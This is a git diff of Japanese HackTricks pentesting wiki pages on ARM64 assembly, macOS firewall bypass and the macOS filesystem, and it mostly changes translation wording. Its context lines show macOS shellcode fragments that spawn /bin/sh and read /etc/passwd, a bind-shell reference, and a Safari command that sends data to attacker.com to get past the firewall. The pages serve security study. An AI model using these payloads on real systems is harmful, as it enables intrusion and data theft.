条件付き分岐 * **`b.eq`**: **等しい場合に分岐**、前の`cmp`命令に基づいています。 * 例: `b.eq label` — 前の`cmp`命令で2つの等しい値が見つかった場合、`label`にジャンプします。 * **`b.ne`**: **等しくない場合分岐**。この命令は条件フラグをチェックし(以前の比較命令で設定された)、比較した値が等しくない場合、指定されたラベルやアドレスに分岐します。 -* 例: `cmp x0, x1` 命令の後、`b.ne label` — もし `x0` と `x1` の値が等しくない場合、`label` にジャンプします。 -* **`cbz`**: **ゼロの場合分岐**。この命令はレジスタをゼロと比較し、等しい場合、指定されたラベルやアドレスに分岐します。 -* 例: `cbz x0, label` — もし `x0` の値がゼロの場合、`label` にジャンプします。 -* **`cbnz`**: **ゼロでない場合分岐**。この命令はレジスタをゼロと比較し、等しくない場合、指定されたラベルやアドレスに分岐します。 -* 例: `cbnz x0, label` — もし `x0` の値がゼロでない場合、`label` にジャンプします。 -* **`tbnz`**: ビットをテストして非ゼロの場合分岐 +* 例: `cmp x0, x1` 命令の後、`b.ne label` — `x0` と `x1` の値が等しくない場合、`label` にジャンプします。 +* **`cbz`**: **ゼロの場合分岐**。この命令はレジスタをゼロと比較し、等しい場合は指定されたラベルやアドレスに分岐します。 +* 例: `cbz x0, label` — `x0` の値がゼロの場合、`label` にジャンプします。 +* **`cbnz`**: **ゼロでない場合分岐**。この命令はレジスタをゼロと比較し、等しくない場合は指定されたラベルやアドレスに分岐します。 +* 例: `cbnz x0, label` — `x0` の値がゼロでない場合、`label` にジャンプします。 +* **`tbnz`**: ビットをテストし、ゼロでない場合分岐 * 例: `tbnz x0, #8, label` -* **`tbz`**: ビットをテストしてゼロの場合分岐 +* **`tbz`**: ビットをテストし、ゼロの場合分岐 * 例: `tbz x0, #8, label` * **条件付き選択演算**: 条件ビットによって挙動が異なる演算です。 * `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 真の場合、X0 = X1、偽の場合、X0 = X2 @@ -220,18 +221,18 @@ ARM64 命令は一般的に、`opcode dst, src1, src2` の形式を持ち、**`o * `cneg Xd, Xn, cond` -> 真の場合、Xd = - Xn、偽の場合、Xd = Xn * `cset Xd, Xn, Xm, cond` -> 真の場合、Xd = 1、偽の場合、Xd = 0 * `csetm Xd, Xn, Xm, cond` -> 真の場合、Xd = \、偽の場合、Xd = 0 -* **`adrp`**: シンボルの**ページアドレス**を計算し、レジスタに格納します。 -* 例: `adrp x0, symbol` — これは `symbol` のページアドレスを計算し、`x0` に格納します。 -* **`ldrsw`**: メモリから符号付き**32ビット**値を**64ビットに拡張**して**ロード**します。 -* 例: `ldrsw x0, [x1]` — これは `x1` が指すメモリ位置から符号付き32ビット値をロードし、64ビットに拡張して `x0` に格納します。 +* **`adrp`**: シンボルの**ページアドレスを計算**してレジスタに格納します。 +* 例: `adrp x0, symbol` — `symbol` のページアドレスを計算して `x0` に格納します。 +* **`ldrsw`**: メモリから符号付き**32ビット**値を**64ビットに拡張して**ロードします。 +* 例: `ldrsw x0, [x1]` — `x1` が指すメモリ位置から符号付き32ビット値をロードし、64ビットに拡張して `x0` に格納します。 * **`stur`**: レジスタの値をメモリ位置に**ストア**し、別のレジスタからのオフセットを使用します。 -* 例: `stur x0, [x1, #4]` — これは `x1` に現在のアドレスより4バイト大きいアドレスのメモリに `x0` の値を格納します。 -* **`svc`** : **システムコール**を行います。"Supervisor Call" の略で、プロセッサがこの命令を実行すると、**ユーザーモードからカーネルモードに切り替わり**、**カーネルのシステムコール処理**コードがあるメモリ内の特定の場所にジャンプします。 +* 例: `stur x0, [x1, #4]` — `x1` に現在格納されているアドレスよりも4バイト大きいアドレスに `x0` の値を格納します。 +* **`svc`** : **システムコール**を行います。"Supervisor Call" の略です。プロセッサがこの命令を実行すると、**ユーザーモードからカーネルモードに切り替わり**、**カーネルのシステムコール処理**コードが格納されているメモリ内の特定の場所にジャンプします。 * 例: ```armasm -mov x8, 93 ; レジスタ x8 に終了のためのシステムコール番号(93)をロードします。 -mov x0, 0 ; 終了ステータスコード(0)をレジスタ x0 にロードします。 +mov x8, 93 ; レジスタ x8 に終了のためのシステムコール番号 (93) をロードします。 +mov x0, 0 ; 終了ステータスコード (0) をレジスタ x0 にロードします。 svc 0 ; システムコールを行います。 ``` @@ -263,12 +264,12 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th ## AARCH32 実行状態 -Armv8-A は 32 ビットプログラムの実行をサポートします。**AArch32** は **2 つの命令セット**、**`A32`** と **`T32`** のいずれかで実行でき、**`interworking`** を介してそれらの間を切り替えることができます。\ -**特権を持つ** 64 ビットプログラムは、例外レベルの転送を実行することで、**32 ビット** プログラムの実行をスケジュールできます。\ -64 ビットから 32 ビットへの移行は、例外レベルの低下によって行われます(たとえば、EL1 での 64 ビットプログラムが EL0 でのプログラムをトリガーする場合)。これは、`AArch32` プロセススレッドが実行される準備ができたときに、**`SPSR_ELx`** 特殊レジスタの**ビット 4 を 1 に設定**することで行われ、`SPSR_ELx` の残りの部分には **`AArch32`** プログラムの CPSR が格納されます。その後、特権プロセスは **`ERET`** 命令を呼び出し、プロセッサが **`AArch32`** に遷移し、CPSR に応じて A32 または T32 に入ります\*\*。\*\* +Armv8-A は 32 ビットプログラムの実行をサポートします。**AArch32** は **`A32`** と **`T32`** の **2 つの命令セット**のいずれかで実行でき、**`interworking`** を介してそれらの間を切り替えることができます。\ +**特権を持つ** 64 ビットプログラムは、**32 ビット**の低特権レベルに例外レベル転送を実行することで、**32 ビットプログラムの実行をスケジュール**できます。\ +64 ビットから 32 ビットへの移行は、例外レベルの低下によって行われます(たとえば、EL1 での 64 ビットプログラムが EL0 でのプログラムをトリガーする)。これは、`AArch32` プロセススレッドが実行される準備ができているときに、**`SPSR_ELx`** 特殊レジスタの **ビット 4 を 1 に設定**することで行われ、`SPSR_ELx` の残りの部分は **`AArch32`** プログラムの CPSR を保存します。その後、特権プロセスは **`ERET`** 命令を呼び出してプロセッサが **`AArch32`** に遷移し、CPSR に応じて A32 または T32 に入ります\*\*。\*\* -**`interworking`** は CPSR の J ビットと T ビットを使用して行われます。`J=0` かつ `T=0` は **`A32`** を意味し、`J=0` かつ `T=1` は **T32** を意味します。これは基本的に、命令セットが T32 であることを示すために**最下位ビットを 1 に設定**することを意味します。\ -これは **interworking 分岐命令**中に設定されますが、PC が宛先レジスタとして設定されている場合に他の命令で直接設定することもできます。例: +**`interworking`** は CPSR の J ビットと T ビットを使用して行われます。`J=0` かつ `T=0` は **`A32`** を意味し、`J=0` かつ `T=1` は **T32** を意味します。これは基本的に、命令セットが T32 であることを示すために **最下位ビットを 1 に設定**することを意味します。\ +これは **interworking 分岐命令**で設定されますが、PC が宛先レジスタとして設定されているときに他の命令で直接設定することもできます。例: 別の例: ```armasm @@ -291,40 +292,40 @@ mov r0, #8 - **`r13`**:スタックポインタ - **`r14`**:リンクレジスタ -さらに、レジスタは**`バンクレジスタ`**にバックアップされます。これは、例外処理や特権操作で**高速なコンテキストスイッチング**を実行するために、レジスタの値を保存しておく場所です。これにより、レジスタを手動で保存および復元する必要がなくなります。\ +さらに、レジスタは**`バンク付きレジスタ`**にバックアップされます。これは、例外処理や特権操作で**高速なコンテキスト切り替え**を実行するために、レジスタの値を保存しておく場所です。これにより、毎回レジスタを手動で保存および復元する必要がなくなります。\ これは、例外が発生したプロセッサモードの`CPSR`からプロセッサの`SPSR`にプロセッサ状態を保存することで行われます。例外が返されると、`CPSR`は`SPSR`から復元されます。 ### CPSR - 現在のプログラムステータスレジスタ AArch32では、CPSRはAArch64の**`PSTATE`**と同様に機能し、例外が発生すると後で実行を復元するために**`SPSR_ELx`**にも保存されます: -
+
フィールドはいくつかのグループに分かれています: -- アプリケーションプログラムステータスレジスタ(APSR):算術フラグおよびEL0からアクセス可能 +- アプリケーションプログラムステータスレジスタ(APSR):算術フラグで、EL0からアクセス可能 - 実行状態レジスタ:プロセスの動作(OSによって管理) #### アプリケーションプログラムステータスレジスタ(APSR) - **`N`**、**`Z`**、**`C`**、**`V`** フラグ(AArch64と同様) -- **`Q`** フラグ:専用の飽和算術命令の実行中に**整数の飽和が発生する**ときに1に設定されます。一旦**`1`**に設定されると、手動で0に設定されるまで値が維持されます。さらに、その値を暗黙的にチェックする命令はなく、値を読んで手動でチェックする必要があります。 -- **`GE`**(以上または等しい)フラグ:これはSIMD(Single Instruction, Multiple Data)操作で使用され、"parallel add"や"parallel subtract"などの操作に使用されます。これらの操作は、複数のデータポイントを単一の命令で処理できます。 +- **`Q`** フラグ:専用の飽和算術命令の実行中に**整数の飽和が発生する**と、このフラグが1に設定されます。一度**`1`**に設定されると、手動で0に設定されるまで値が維持されます。さらに、その値を暗黙的にチェックする命令は存在せず、値を読んで手動でチェックする必要があります。 +- **`GE`**(以上または等しい)フラグ:これはSIMD(Single Instruction, Multiple Data)操作で使用され、"parallel add"や"parallel subtract"などの操作に使用されます。これらの操作は、1つの命令で複数のデータポイントを処理できます。 -たとえば、**`UADD8`** 命令は、並列に4組のバイト(2つの32ビットオペランドから)を追加し、結果を32ビットレジスタに格納します。次に、これらの結果に基づいて、**`APSR`**の**`GE`**フラグが設定されます。各GEフラグは、そのバイトペアの追加が**オーバーフローしたかどうか**を示します。 +たとえば、**`UADD8`** 命令は、並列に4組のバイト(2つの32ビットオペランドから)を追加し、結果を32ビットレジスタに格納します。次に、これらの結果に基づいて、**`APSR`**内の`GE`フラグが設定されます。各GEフラグは1つのバイトの追加に対応し、そのバイトのペアの追加が**オーバーフローしたかどうか**を示します。 -**`SEL`** 命令は、これらのGEフラグを使用して条件付きアクションを実行します。 +**`SEL`** 命令はこれらのGEフラグを使用して条件付きアクションを実行します。 #### 実行状態レジスタ - **`J`** および **`T`** ビット:**`J`** は0である必要があり、**`T`** が0の場合はA32命令セットが使用され、1の場合はT32が使用されます。 - **ITブロックステートレジスタ**(`ITSTATE`):これらは10-15および25-26のビットです。**`IT`** で接頭辞が付いたグループ内の命令の条件を格納します。 - **`E`** ビット:**エンディアンネス**を示します。 -- **モードおよび例外マスクビット**(0-4):現在の実行状態を決定します。**5番目**のビットは、プログラムが32ビット(1)または64ビット(0)で実行されているかを示します。他の4つは、**使用中の例外モード**(例外が発生し処理されている場合)を表します。設定された数値は、これが処理されている間に別の例外が発生した場合の**現在の優先度**を示します。 +- **モードおよび例外マスクビット**(0-4):現在の実行状態を決定します。**5番目**はプログラムが32ビット(1)または64ビット(0)で実行されているかを示します。他の4つは、**使用中の例外モード**(例外が発生し処理中の場合)を表します。設定された数値は、これが処理中に別の例外が発生した場合の**現在の優先度**を示します。 -
+
-- **`AIF`**:特定の例外は、**`A`**、`I`、`F` ビットを使用して無効にできます。**`A`** が1の場合、**非同期中断**がトリガーされます。**`I`** は外部ハードウェアの**割り込みリクエスト**(IRQ)に応答するように構成され、Fは**高速割り込みリクエスト**(FIR)に関連しています。 +- **`AIF`**:特定の例外は、**`A`**、`I`、`F` ビットを使用して無効にできます。**`A`** が1の場合、**非同期中断**がトリガーされます。**`I`** は外部ハードウェアの**割り込みリクエスト**(IRQ)に応答するように構成され、Fは**ファスト割り込みリクエスト**(FIR)に関連しています。 ```bash # macOS dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -344,19 +345,19 @@ XNUは、マシン依存の呼び出しと呼ばれる別のタイプの呼び ### comm page -これは、すべてのユーザープロセスのアドレス空間にマップされるカーネル所有のメモリページです。ユーザーモードからカーネルスペースへの移行を、カーネルサービスのためにシステムコールを使用するよりも速くするために使用されます。この移行が非常に非効率的になるほど、カーネルサービスが頻繁に使用される場合に使用されます。 +これは、すべてのユーザープロセスのアドレス空間にマップされるカーネル所有のメモリページです。ユーザーモードからカーネルスペースへの移行を、システムコールを使用するよりも効率的に行うために使用されます。カーネルサービスのためにシステムコールを使用すると非常に効率が悪いためです。 たとえば、`gettimeofdate`呼び出しは、`timeval`の値をcommページから直接読み取ります。 ### objc\_msgSend -Objective-CやSwiftプログラムでこの関数を見つけることは非常に一般的です。この関数を使用すると、Objective-Cオブジェクトのメソッドを呼び出すことができます。 +Objective-CやSwiftプログラムでよく見られる関数です。この関数を使用すると、Objective-Cオブジェクトのメソッドを呼び出すことができます。 パラメータ([詳細はドキュメントを参照](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)): * x0: self -> インスタンスへのポインタ * x1: op -> メソッドのセレクタ -* x2... -> 呼び出されたメソッドの残りの引数 +* x2... -> 呼び出されるメソッドの残りの引数 したがって、この関数への分岐前にブレークポイントを設定すると、lldbで呼び出される内容を簡単に見つけることができます(この例では、オブジェクトが`NSConcreteTask`からのオブジェクトを呼び出し、コマンドを実行します)。 ``` @@ -375,6 +376,10 @@ Objective-CやSwiftプログラムでこの関数を見つけることは非常 whoami ) ``` +{% hint style="success" %} +`NSObjCMessageLoggingEnabled=1` 環境変数を設定すると、この関数が呼び出されたときに `/tmp/msgSends-pid` のようなファイルにログを記録することができます。 +{% endhint %} + ### シェルコード コンパイルするには: @@ -385,7 +390,7 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm # You could also use this ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem ``` -バイトを抽出するには: +バイトを抽出するには: ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do @@ -471,7 +476,7 @@ sh_path: .asciz "/bin/sh" ``` {% endtab %} -{% タブのタイトル="スタックを使用して" %} +{% tab title="スタックを使用して" %} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -502,7 +507,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, ``` {% endtab %} -{% tab title="Linux向けのadrを使用して" %} +{% タブのタイトル="Linux用ADRと共に" %} ```armasm ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/ .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. @@ -518,9 +523,9 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, sh_path: .asciz "/bin/sh" ``` -#### catコマンドで読み込む +#### catコマンドで読み取る -目標は、`execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`を実行することです。したがって、2番目の引数(x1)はパラメータの配列でなければなりません(メモリ内ではアドレスのスタックを意味します)。 +目標は、`execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`を実行することです。したがって、2番目の引数(x1)はパラメータの配列でなければなりません(メモリ内ではこれらはアドレスのスタックを意味します)。 ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -592,7 +597,7 @@ touch_command: .asciz "touch /tmp/lalala" ``` #### バインドシェル -バインドシェルは、[https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) から**ポート4444**で提供されます。 +バインドシェルは[https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s)から**ポート4444**で提供されます。 ```armasm .section __TEXT,__text .global _main @@ -745,14 +750,14 @@ svc #0x1337 ```
-ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。 -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。** +* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md index 30a100054..1c124255b 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md @@ -9,8 +9,8 @@ HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。 -* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 @@ -38,17 +38,17 @@ HackTricks をサポートする他の方法: ファイアウォールをバイパスしようとするいくつかのアイデア -### 許可されたトラフィックを確認する +### 許可されたトラフィックをチェック -許可されたトラフィックを知ることで、潜在的にホワイトリストに登録されているドメインやそれにアクセスできるアプリケーションを特定できます +許可されたトラフィックを知ることで、潜在的にホワイトリストに登録されているドメインやそれにアクセスできるアプリケーションを特定するのに役立ちます ```bash lsof -i TCP -sTCP:ESTABLISHED ``` -### DNSの悪用 +### DNSの乱用 DNSの解決は、おそらくDNSサーバーに連絡を取ることが許可されるであろう**`mdnsreponder`**署名済みアプリケーションを介して行われます。 -
https://www.youtube.com/watch?v=UlT5KFTMn2k
+
https://www.youtube.com/watch?v=UlT5KFTMn2k
### ブラウザアプリを介して @@ -93,12 +93,12 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil" htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。 +* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md index 1a4b7c567..8ac07e87b 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md @@ -6,11 +6,11 @@ HackTricks をサポートする他の方法: -- **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する +- **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! +- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 の **@carlospolopm**(https://twitter.com/hacktricks\_live)を **フォロー**する -- **HackTricks**(https://github.com/carlospolop/hacktricks)と **HackTricks Cloud**(https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリに **PRを提出**することで、あなたのハッキングテクニックを共有する +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする +- **HackTricks** と **HackTricks Cloud** のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する @@ -19,29 +19,29 @@ HackTricks をサポートする他の方法: - **/Applications**: インストールされたアプリはここにあるはずです。すべてのユーザがアクセスできます。 - **/bin**: コマンドラインバイナリ - **/cores**: 存在する場合、コアダンプを保存するために使用されます -- **/dev**: すべてがファイルとして扱われるため、ここにハードウェアデバイスが保存されていることがあります。 +- **/dev**: すべてがファイルとして扱われるため、ここにハードウェアデバイスが保存されているかもしれません。 - **/etc**: 設定ファイル - **/Library**: 好み、キャッシュ、ログに関連する多くのサブディレクトリとファイルがここに見つかります。ルートと各ユーザのディレクトリに Library フォルダが存在します。 - **/private**: 文書化されていませんが、言及されている多くのフォルダはプライベートディレクトリへのシンボリックリンクです。 - **/sbin**: システムバイナリ(管理に関連する) - **/System**: OS X の実行に必要なファイルがあります。ここには主に Apple 固有のファイルのみがあります(サードパーティ製ではありません)。 - **/tmp**: ファイルは3日後に削除されます(/private/tmp へのソフトリンクです) -- **/Users**: ユーザのホームディレクトリ。 -- **/usr**: 構成およびシステムバイナリ +- **/Users**: ユーザーのホームディレクトリ。 +- **/usr**: 設定とシステムバイナリ - **/var**: ログファイル - **/Volumes**: マウントされたドライブがここに表示されます。 -- **/.vol**: `stat a.txt` を実行すると、`16777223 7545753 -rw-r--r-- 1 username wheel ...` のようなものが得られます。最初の数値はファイルが存在するボリュームの ID 番号であり、2 番目の数値は inode 番号です。この情報を使用して `cat /.vol/16777223/7545753` を実行してこのファイルの内容にアクセスできます。 +- **/.vol**: `stat a.txt` を実行すると、`16777223 7545753 -rw-r--r-- 1 username wheel ...` のようなものが得られます。最初の数値はファイルが存在するボリュームの ID 番号であり、2 番目の数値は inode 番号です。この情報を使用して `cat /.vol/16777223/7545753` を実行して、このファイルの内容にアクセスできます。 ### アプリケーションフォルダ - **システムアプリケーション**は `/System/Applications` にあります - **インストールされた**アプリケーションは通常、`/Applications` または `~/Applications` にインストールされます -- **アプリケーションデータ**は、ルートとして実行されるアプリケーションの場合は `/Library/Application Support`、ユーザとして実行されるアプリケーションの場合は `~/Library/Application Support` にあります。 -- **ルートとして実行する必要がある**サードパーティアプリケーションの **デーモン** は通常 `/Library/PrivilegedHelperTools/` にあります +- **アプリケーションデータ**は、ルートとして実行されるアプリケーションの場合は `/Library/Application Support`、ユーザーとして実行されるアプリケーションの場合は `~/Library/Application Support` にあります。 +- **ルートとして実行する必要がある**サードパーティアプリケーションの**デーモン**は通常 `/Library/PrivilegedHelperTools/` にあります - **サンドボックス化された**アプリケーションは `~/Library/Containers` フォルダにマップされます。各アプリには、アプリケーションのバンドル ID に従って名前が付けられたフォルダがあります(`com.apple.Safari`)。 - **カーネル**は `/System/Library/Kernels/kernel` にあります - **Apple のカーネル拡張**は `/System/Library/Extensions` にあります -- **サードパーティのカーネル拡張**は `/Library/Extensions` に保存されています +- **サードパーティのカーネル拡張**は `/Library/Extensions` に保存されます ### 機密情報を含むファイル @@ -90,11 +90,11 @@ MacOS は、パスワードなどの情報をいくつかの場所に保存し macOS(およびiOS)では、フレームワークや dylib などのすべてのシステム共有ライブラリが **1 つのファイル** に結合され、**dyld 共有キャッシュ** と呼ばれています。これにより、コードを高速に読み込むことができ、パフォーマンスが向上します。 これは macOS では `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` にあり、古いバージョンでは **共有キャッシュ** を **`/System/Library/dyld/`** に見つけることができるかもしれません。\ -iOS では **`/System/Library/Caches/com.apple.dyld/`** に見つけることができます。 +iOS では **`/System/Library/Caches/com.apple.dyld/`** にあります。 dyld 共有キャッシュと同様に、カーネルとカーネル拡張もカーネルキャッシュにコンパイルされ、起動時に読み込まれます。 -1 つのファイルからライブラリを抽出するには、バイナリ [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip) を使用することができましたが、現在は機能しないかもしれませんが、[**dyldextractor**](https://github.com/arandomdev/dyldextractor) を使用することもできます: +1 つのファイルからライブラリを抽出するには、以前はバイナリ [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip) を使用できましたが、現在は機能しないかもしれません。代わりに [**dyldextractor**](https://github.com/arandomdev/dyldextractor) を使用できます: {% code overflow="wrap" %} ```bash @@ -112,9 +112,9 @@ dyldex_all [dyld_shared_cache_path] # Extract all `dyld_shared_cache_util`ツールが機能しなくても、**共有dyldバイナリをHopperに渡す**ことで、Hopperはすべてのライブラリを識別し、調査したい**ライブラリを選択**できます。 {% endhint %} -
+
-一部の抽出ツールはdylibsがハードコードされたアドレスで事前にリンクされているため、未知のアドレスにジャンプする可能性があります。 +一部の抽出ツールはdylibsがハードコードされたアドレスで事前にリンクされているため、未知のアドレスにジャンプする可能性があるため機能しない場合があります。 {% hint style="success" %} macOSの他の\*OSデバイスのShared Library CacheをXcodeのエミュレータを使用してダウンロードすることも可能です。これらは次の場所にダウンロードされます:`$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport//Symbols/System/Library/Caches/com.apple.dyld/`、例:`$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64` @@ -124,28 +124,28 @@ macOSの他の\*OSデバイスのShared Library CacheをXcodeのエミュレー **`dyld`**は、SLCがマップされたかどうかを知るためにシスコール**`shared_region_check_np`**を使用し(アドレスを返す)、SLCをマップするために**`shared_region_map_and_slide_np`**を使用します。 -SLCが最初に使用されるとスライドされていても、すべての**プロセス**が**同じコピー**を使用し、攻撃者がシステム内でプロセスを実行できた場合、ASLR保護が**無効**になります。これは実際に過去に悪用され、共有リージョンページャで修正されました。 +SLCが最初に使用されるとスライドされていても、**すべてのプロセスが**同じコピーを使用するため、攻撃者がシステム内でプロセスを実行できた場合、ASLR保護が**無効に**なります。これは実際に過去に悪用され、共有リージョンページャで修正されました。 -ブランチプールは、イメージマッピング間に小さなスペースを作成する小さなMach-O dylibsであり、関数を介入不可能にします。 +ブランチプールは、画像マッピング間に小さなスペースを作成する小さなMach-O dylibsであり、関数を介入できないようにします。 ### SLCのオーバーライド 環境変数を使用して: * 